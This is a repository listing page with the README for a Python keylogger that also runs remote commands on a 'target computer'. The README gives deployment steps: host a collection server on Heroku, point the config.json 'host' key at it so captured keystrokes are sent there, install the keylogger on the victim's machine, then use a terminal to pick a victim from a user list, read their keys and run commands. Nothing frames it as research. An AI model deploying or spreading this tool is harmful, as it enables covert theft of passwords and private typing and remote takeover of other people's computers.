https://github.com/jeanextreme002/keylogger
:keyboard: Keylogger created in Python. This application not only captures the keys like any other Keylogger, but also has the functionality to execute commands on the target computer and more.
https://github.com/jeanextreme002/keylogger
flask heroku keylogger python3
Last synced: about 1 month ago
JSON representation
:keyboard: Keylogger created in Python. This application not only captures the keys like any other Keylogger, but also has the functionality to execute commands on the target computer and more.
- Host: GitHub
- URL: https://github.com/jeanextreme002/keylogger
- Owner: JeanExtreme002
- License: bsd-3-clause
- Created: 2020-02-14T00:48:49.000Z (over 6 years ago)
- Default Branch: master
- Last Pushed: 2020-02-18T03:03:04.000Z (over 6 years ago)
- Last Synced: 2025-09-16T18:22:20.634Z (9 months ago)
- Topics: flask, heroku, keylogger, python3
- Language: Python
- Homepage:
- Size: 18.6 KB
- Stars: 3
- Watchers: 1
- Forks: 1
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# Keylogger
Keylogger created in Python. This application not only captures the keys like any other Keylogger, but also has the
functionality to execute commands on the target computer and more.
# Getting Started:
**Requirements:**
- Python 3
- Dependencies installed
To install the dependencies, type the command: `pip install -r requirements.txt`
After that, start the server at `server/flask/server.py` or `server/express/server.js`. Both applications are already
configured to run on [Heroku](https://heroku.com).
# Setting and running keylogger:
Open the `app/config/config.json` file and enter the server URL in the **host** key. See the example below:
```
{
"host": "https://keylogger-app-37456.herokuapp.com"
}
```
Once configured, install the **keylogger** on the target computer and run. After that, all the keys pressed by the
user will be read and sent to the server and the application will be ready to receive and execute your commands.
# Getting the keys and executing commands:
To read keys and execute commands on the target computer, run `app/terminal.py` and select a user using
the `select` command. See the example below:
```
In: users
John Gamer
KatarinaMid_273
Victor34
In: select KatarinaMid_273
In: keylogger
```
Type `help` to see all available commands.